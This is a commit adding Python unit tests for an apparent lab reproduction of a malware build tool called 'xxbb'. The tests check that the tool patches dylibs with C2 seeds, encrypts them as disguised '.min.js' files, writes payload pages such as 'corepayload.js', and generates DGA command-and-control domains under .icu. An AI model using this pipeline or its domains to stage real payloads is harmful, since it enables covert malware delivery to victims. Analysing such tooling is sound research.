feat: xxbb
This commit is contained in:
@@ -0,0 +1,239 @@
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
|
||||
from _secondary_pack import decrypt_secondary_minjs # noqa: E402
|
||||
import build as xxbb_build # noqa: E402
|
||||
from reproduce_xxbb_dga import generate_domains # noqa: E402
|
||||
|
||||
|
||||
class XxbbBuildTest(unittest.TestCase):
|
||||
def test_patch_and_round_trip(self) -> None:
|
||||
meta = json.loads((TOOLS / "secondary_keys.json").read_text())
|
||||
dep = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
|
||||
rep = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
|
||||
channel_c = "cccccccccccccccccccccccccccccccc"
|
||||
patched = {}
|
||||
for group in ("A", "B", "C"):
|
||||
path = xxbb_build.group_dylib_path(group)
|
||||
data = xxbb_build.patch_dylib(
|
||||
path.read_bytes(),
|
||||
deployment_seed=dep,
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
self.assertEqual(data.count(dep.encode()), 1)
|
||||
self.assertEqual(data.count(rep.encode()), 1)
|
||||
self.assertEqual(data.count(channel_c.encode()), 1)
|
||||
self.assertEqual(data.count(xxbb_build.ORIGINAL_DEP.encode()), 0)
|
||||
self.assertEqual(data.count(xxbb_build.ORIGINAL_REP.encode()), 0)
|
||||
self.assertEqual(data.count(xxbb_build.ORIGINAL_C.encode()), 0)
|
||||
self.assertEqual(data.count(xxbb_build.SEVEN_ZIP_PASSWORD.encode()), 1)
|
||||
patched[group] = data
|
||||
|
||||
for stem, info in meta["stems"].items():
|
||||
key = bytes.fromhex(info["key"])
|
||||
wire = __import__("_secondary_pack", fromlist=["encrypt_secondary_minjs"]).encrypt_secondary_minjs(
|
||||
patched[info["group"]], key
|
||||
)
|
||||
out = decrypt_secondary_minjs(wire, key)
|
||||
self.assertEqual(out, patched[info["group"]])
|
||||
|
||||
def test_apply_writes_named_channel_html(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
artifact = Path(tmp) / "public"
|
||||
state = Path(tmp) / "state"
|
||||
out = Path(tmp) / "out"
|
||||
name = "abcd1234"
|
||||
argv = [
|
||||
"build.py",
|
||||
"--deployment-seed",
|
||||
"11111111111111111111111111111111",
|
||||
"--reporting-seed",
|
||||
"11111111111111111111111111111111",
|
||||
"--channel-c",
|
||||
"33333333333333333333333333333333",
|
||||
"--channel-name",
|
||||
name,
|
||||
"--artifact-root",
|
||||
str(artifact),
|
||||
"--state-root",
|
||||
str(state),
|
||||
"--out",
|
||||
str(out),
|
||||
"--apply",
|
||||
"--force",
|
||||
]
|
||||
old = sys.argv
|
||||
try:
|
||||
sys.argv = argv
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
channel_dir = artifact / "source" / name
|
||||
details = artifact / "details"
|
||||
self.assertTrue((channel_dir / "index.js").is_file())
|
||||
self.assertTrue((channel_dir / "weifile.html").is_file())
|
||||
self.assertTrue((channel_dir / "index.html").is_file())
|
||||
self.assertTrue((details / "show.html").is_file())
|
||||
self.assertTrue((details / "corepayload.js").is_file())
|
||||
self.assertTrue((details / "helion.js").is_file())
|
||||
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
|
||||
blob = (channel_dir / f"{stem}.min.js").read_bytes()
|
||||
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
|
||||
dylib = decrypt_secondary_minjs(blob, key)
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib)
|
||||
self.assertIn(b"33333333333333333333333333333333", dylib)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
|
||||
self.assertIn(b"https://%@\x00", dylib)
|
||||
self.assertNotIn(b"http://%@\x00", dylib)
|
||||
seeds = json.loads((state / "lab_seeds.json").read_text())
|
||||
self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111")
|
||||
self.assertEqual(seeds["reporting_seed"], "11111111111111111111111111111111")
|
||||
self.assertEqual(seeds["channel_c"], "33333333333333333333333333333333")
|
||||
self.assertEqual(seeds["domains"]["deployment"][0], "syv4c2c8nb8fpzo.icu")
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
||||
|
||||
def test_seeds_generated_once_then_reused(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
state = Path(tmp) / "state"
|
||||
first = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=state / "lab_seeds.json",
|
||||
cli_dep=None,
|
||||
cli_rep=None,
|
||||
cli_c=None,
|
||||
)
|
||||
second = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=state / "lab_seeds.json",
|
||||
cli_dep=None,
|
||||
cli_rep=None,
|
||||
cli_c=None,
|
||||
)
|
||||
self.assertTrue(first[4])
|
||||
self.assertFalse(second[4])
|
||||
self.assertEqual(first[:3], second[:3])
|
||||
self.assertEqual(first[3], second[3])
|
||||
self.assertEqual(len(first[0]), 32)
|
||||
self.assertEqual(len(first[1]), 32)
|
||||
self.assertEqual(first[0], first[1])
|
||||
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
|
||||
self.assertEqual(len(first[3]["deployment"]), 5)
|
||||
self.assertEqual(len(first[3]["reporting"]), 5)
|
||||
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
|
||||
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
|
||||
def test_xxbb_dga_matches_native_pool(self) -> None:
|
||||
self.assertEqual(
|
||||
generate_domains("202700cfb1ad3de68e11239dcc26c30b", 5),
|
||||
[
|
||||
"1i6cbgdyj3qdk88.icu",
|
||||
"avm2jnhejigb0ac.icu",
|
||||
"hjlif8t069cfbn3.icu",
|
||||
"os8yvsh2j1dv4mk.icu",
|
||||
"gb53wymxxljkokf.icu",
|
||||
],
|
||||
)
|
||||
self.assertEqual(
|
||||
generate_domains("321fb0c812b46265421b5ad9654c2b81", 1),
|
||||
["8fn4957c5g986jp.icu"],
|
||||
)
|
||||
|
||||
def test_stale_lab_dga_cache_is_recomputed(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
path = Path(tmp) / "lab_seeds.json"
|
||||
path.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"deployment_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
||||
"reporting_seed": "e8afcf657ad1d47256b33166f6469d6f",
|
||||
"channel_c": xxbb_build.ORIGINAL_C,
|
||||
"domains": {
|
||||
"deployment": ["www.xa1qtof56-b1mdjth.cfd"],
|
||||
"reporting": ["www.xa1qtof56-b1mdjth.cfd"],
|
||||
},
|
||||
}
|
||||
)
|
||||
)
|
||||
dep, _rep, channel_c, domains, computed = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep=None,
|
||||
cli_rep=None,
|
||||
cli_c=None,
|
||||
)
|
||||
self.assertTrue(computed)
|
||||
self.assertEqual(dep, "e8afcf657ad1d47256b33166f6469d6f")
|
||||
self.assertEqual(channel_c, xxbb_build.ORIGINAL_C)
|
||||
self.assertEqual(domains["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
saved = json.loads(path.read_text())
|
||||
self.assertEqual(saved["domains"]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
|
||||
def test_cli_seeds_must_match(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
with self.assertRaises(SystemExit):
|
||||
xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=Path(tmp) / "lab_seeds.json",
|
||||
cli_dep="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
cli_rep="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
||||
cli_c=None,
|
||||
)
|
||||
|
||||
def test_http_scheme_rewrites_url_formats(self) -> None:
|
||||
path = xxbb_build.group_dylib_path("C")
|
||||
raw = path.read_bytes()
|
||||
https = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
http = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="http",
|
||||
)
|
||||
self.assertIn(b"https://%@\x00", https)
|
||||
self.assertIn(b"https://backup%u.icu\x00", https)
|
||||
self.assertNotIn(b"http://%@\x00", https)
|
||||
self.assertIn(b"http://%@\x00", http)
|
||||
self.assertIn(b"http://backup%u.icu\x00", http)
|
||||
self.assertNotIn(b"https://%@\x00", http)
|
||||
self.assertNotIn(b"https://backup%u.icu\x00", http)
|
||||
self.assertEqual(len(http), len(https))
|
||||
|
||||
def test_apply_requires_channel_name(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
argv = [
|
||||
"build.py",
|
||||
"--artifact-root",
|
||||
tmp,
|
||||
"--state-root",
|
||||
tmp,
|
||||
"--apply",
|
||||
]
|
||||
old = sys.argv
|
||||
try:
|
||||
sys.argv = argv
|
||||
with self.assertRaises(SystemExit):
|
||||
xxbb_build.main()
|
||||
finally:
|
||||
sys.argv = old
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user